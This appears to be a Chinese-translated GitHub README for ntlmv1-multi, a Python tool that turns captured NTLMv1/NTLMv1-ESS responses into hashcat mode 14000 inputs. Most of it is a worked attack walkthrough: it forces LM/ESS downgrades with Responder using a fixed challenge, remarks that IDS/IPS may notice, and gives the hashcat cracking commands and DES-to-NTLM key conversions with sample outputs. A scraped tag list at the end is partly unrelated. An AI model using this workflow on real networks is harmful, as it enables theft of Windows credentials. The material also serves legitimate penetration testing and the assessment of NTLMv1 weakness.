evilmog/ntlmv1-multi

GitHub: evilmog/ntlmv1-multi

将 NTLMv1/NTLMv1-ESS 哈希转换为 hashcat 模式 14000 可破解格式的 Python 预处理工具。

Stars: 659 | Forks: 101

# NTLMv1 Multi Tool 该工具将 NTLMv1 哈希还原为 NTLM,或者更具体地说,它将 NTLMv1 挑战响应格式化为可以使用 hashcat 模式 14000 进行破解的格式 # CT3 计算 如果你指定 `--ct3`,它会为你计算 NTLM 的最后 4 位数字;如果你指定 `--json`,则意味着启用了 `--ct3`,它会作为元素 pt3 返回,例如: ``` python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json {"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"} ``` 最后在这次更新中,我将函数移到了 main() 中,以便你可以直接导入该模块使用 # 2020 年 11 月 10 日更新 我添加了 2 个新选项,`--hashcat` 和 `--hcutils`,它们分别设置你的 hashcat 和 hashcat-utils 的路径,这样你就可以直接从工具中复制和粘贴。 如果你的 hashcat 目录位于 ~/git/hashcat,并且你的 hashcat-utils 目录位于 ~/git/hashcat-utils,你可以像这样运行该工具: ``` python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils" ``` # 2019 年 12 月 10 日更新 是的,这应该是兼容 Python 3 的,我还合并了 ntlmv1 和 ntlmv1-ess # ntlmv1-multi NTLMv1 多功能工具 该工具修改 NTLMv1/NTLMv1-ESS/MSCHAPv2 哈希,以便在 hashcat 中使用 DES 模式 14000 进行破解 该工具基于 Hashcat 团队 atom 的工作 (注:原文此处为文本链接,根据上下文推断为URL) 它也基于 # 用法 ## 不带 ESS 的 NTLMv1 要捕获哈希,请使用带有 --lm 标志的 responder,如果不使用 --lm,你将激活 ESS,这将需要更长的时间来破解,此外还有一个新标志 --disable-ess,它将尝试禁用 ESS 并强制降级。首先尝试 --disable-ess,如果失败,请尝试 --lm。如果使用 --disable-ess 或 --lm,请确保你的客户端挑战是 1122334455667788 以便使用 FPGA,然而如果网络 IDS/IPS 检测到该流量,可能会触发防护。 捕获看起来像这样。 ``` [SMB] NTLMv1 Client : 184.64.60.62 [SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat [SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 [*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat ``` 哈希部分看起来像这样 ``` hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` 所以像这样使用多功能工具(它也兼容 Python 2) ``` python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` 它将输出以下数据,而不修改服务器挑战等 ``` ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] Hostname: DUSTIN-5AA37877 Username: hashcat Challenge: 1122334455667788 LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595 CT1: 727B4E35F947129E CT2: A52B9CDEDAE86934 CT3: BB23EF89F50FC595 To Calculate final 4 characters of NTLM hash use: ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 To crack with hashcat create a file with the following contents: 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 To crack with hashcat: ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` 本例中使用的密码是 "password",我们可以用以下命令验证 NTLM 哈希 ``` echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4 (stdin)= 8846f7eaee8fb117ad06bdd830b7586c ``` 使用 atom 编写的 hashcat utils ct3_to_ntlm.bin,你可以从 NTLMv1 挑战中计算 NTLM 哈希的最后 4 个字符,该工具会输出它 ``` ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 586c ``` 这与 NTLM 哈希的末尾匹配,我们可以开始了,下一步是使用 hashcat 破解哈希,所以我们需要创建一个 hashes.txt 文件,内容为 ``` 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 ``` 要使用 hashcat 破解它,你使用 ``` ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` 重要的一点是,hashcat 将返回 DES 密钥而不是 NTLM 密钥,你需要使用 [Hashcat Utils](https://github.com/hashcat/hashcat-utils/releases/) 中的 `deskey_to_ntlm.pl` 转换为 NTLM,这可以通过以下方式完成 ``` ./deskey_to_ntlm.pl [cracked des key 1] ./deskey_to_ntlm.pl [cracked des key 2] ``` 然后你将两个 NTLM 密钥与密码的第三部分结合。由(工具输出的任何内容)计算得出 ``` ./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 ``` 将这 3 部分加在一起就可以了 ### 使用 DES 转换器进行测试 如果你只是测试我的代码并且已经知道密码,你可以使用 DES 转换器 ``` python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 DESKEY2: bcba83e6895b9d echo "$HEX[b55d6d04e67926]">>des.cand echo "$HEX[bcba83e6895b9d]">>des.cand ``` 基本上你执行以下操作 ``` echo "$HEX[b55d6d04e67926]">>des.cand echo "$HEX[bcba83e6895b9d]">>des.cand ``` ``` ./hashcat -m 14000 -a 0 hashes.txt des.cand ``` 你应该会得到一些还原的哈希 ## 带 ESS 的 NTLMv1 ESS 会改变服务器挑战,如果你在 responder 中看到 ESS,因为你没有使用 --lm 或者客户端设置为不提供 LM 响应,那么 ESS 就会被启用。此外 --disable-ess 将尝试强制关闭 ESS,但这需要 impacket 和 responder 的最新副本(2021 年 8 月或更新)。 ESS 输出看起来像这样 ``` [SMB] NTLMv1-SSP Client : 184.64.60.62 [SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat [SMB] NTLMv1-SSP Hash : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788 ``` 实际的哈希看起来像这样 ``` hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788 ``` 要使用该工具,运行(它兼容 Python 3) ``` python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788" ``` 该工具将输出 ``` Hashfield Split: ['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788'] Hostname: DUSTIN-5AA37877 Username: hashcat LM Response: 85D5BC2CE95161CD00000000000000000000000000000000 NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0 Client Challenge: 1122334455667788 SRV Challenge: b36d2b9a8607ea77 To Calculate final 4 characters of NTLM hash use: ./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000 To crack with hashcat create a file with the following contents: 892F905962F76D32:b36d2b9a8607ea77 3837F613F88DE27C:b36d2b9a8607ea77 To crack with hashcat: ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` 现在我们在本例中使用的密码是 password,其 NTLM 哈希为 ```b4b9b02e6f09a9bd760f388b67351e2b``` ``` echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4 (stdin)= 8846f7eaee8fb117ad06bdd830b7586c ``` 因此,为了计算我们的 NTLMv1-ESS 挑战的 NTLM 哈希的最后 4 个字符,我们使用工具输出的以下命令来获取 ```586c``` ``` ./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000 ``` 我们必须根据工具创建一个包含以下内容的哈希文件,该文件包含修改后的 SRV Challenges 以处理 ESS ``` 892F905962F76D32:b36d2b9a8607ea77 3837F613F88DE27C:b36d2b9a8607ea77 ``` 要使用 hashcat 破解,我们根据工具使用以下命令 ``` ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` 重要的一点是,hashcat 将返回 DES 密钥而不是 NTLM 密钥,你需要使用 [Hashcat Utils](https://github.com/hashcat/hashcat-utils/releases/) 中的 `deskey_to_ntlm.pl` 转换为 NTLM,这可以通过以下方式完成 ``` ./deskey_to_ntlm.pl [cracked des key 1] ./deskey_to_ntlm.pl [cracked des key 2] ``` 现在假设在这种情况下我们已经知道 NTLM 哈希是什么,因为是我们创建的,并且想要验证工具,我们使用以下命令 ``` python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b ``` 这将为我们输出一些数据 ``` DESKEY1: b55d6d04e67926 DESKEY2: bcba83e6895b9d echo "$HEX[b55d6d04e67926]">>des.cand echo "$HEX[bcba83e6895b9d]">>des.cand ``` 这里的重要部分是 ``` echo "$HEX[b55d6d04e67926]">>des.cand echo "$HEX[bcba83e6895b9d]">>des.cand ``` 现在我们可以使用以下命令通过 hashcat 进行破解,而无需等待 8 天 ``` ./hashcat -m 14000 -a 0 hashes.txt des.cand ``` ## 用于数据验证测试的 NTLM 哈希到 DES 密钥转换器 ``` python ntlm-to-des.py --ntlm 8846f7eaee8fb117ad06bdd830b7586c ``` ``` DESKEY1: b55d6d05e6792652 DESKEY2: bdba82e6895a9d6a echo "$HEX[b55d6d05e6792652]">>des.cand echo "$HEX[bdba82e6895a9d6a]">>des.cand ``` ## JSON 支持 该工具现在支持 JSON 输出,设置标志 `--json`,它将输出 JSON 格式: ``` python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json {"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"} ``` 重要字段包括: * hash1 - 这是 hashcat 模式 14000 的第一个哈希 * hash2 - 这是 hashcat 模式 14000 的第二个哈希 * ct3_crack - 这是使用 hashcat utils 破解 ct3 的命令 * ntlmv1 - 这是原始的 ntlmv1 哈希 * user - 这是用户字段 * domain - 这是域字段 * lmresp - 这是 LM 响应 * ntresp - 这是 NT 响应 * challenge - 这是原始挑战字段 * srvchallenge - 如果这是 ESS 哈希,则会填充 srv challenge # 致谢 / 许可证 该仓库基于 hashcat 作者 atom 的论坛帖子以及 moxie marlinspike 的研究。由于 atom 的代码主要采用 MIT 许可,该项目也采用了该许可证以保持兼容。该项目不是 GPL,因此任何实体都可以将其无限制地整合到商业项目中。
标签:Bitdefender, Conpot, DES加密, DOS头擦除, Hashcat, MSCHAPv2, NTLMv1, Python, VEH, Windows安全, 凭据转储, 动态分析, 协议分析, 字典攻击, 安全测试工具, 密码破解, 无后门, 权限提升, 模拟器, 离线破解, 网络安全, 隐私保护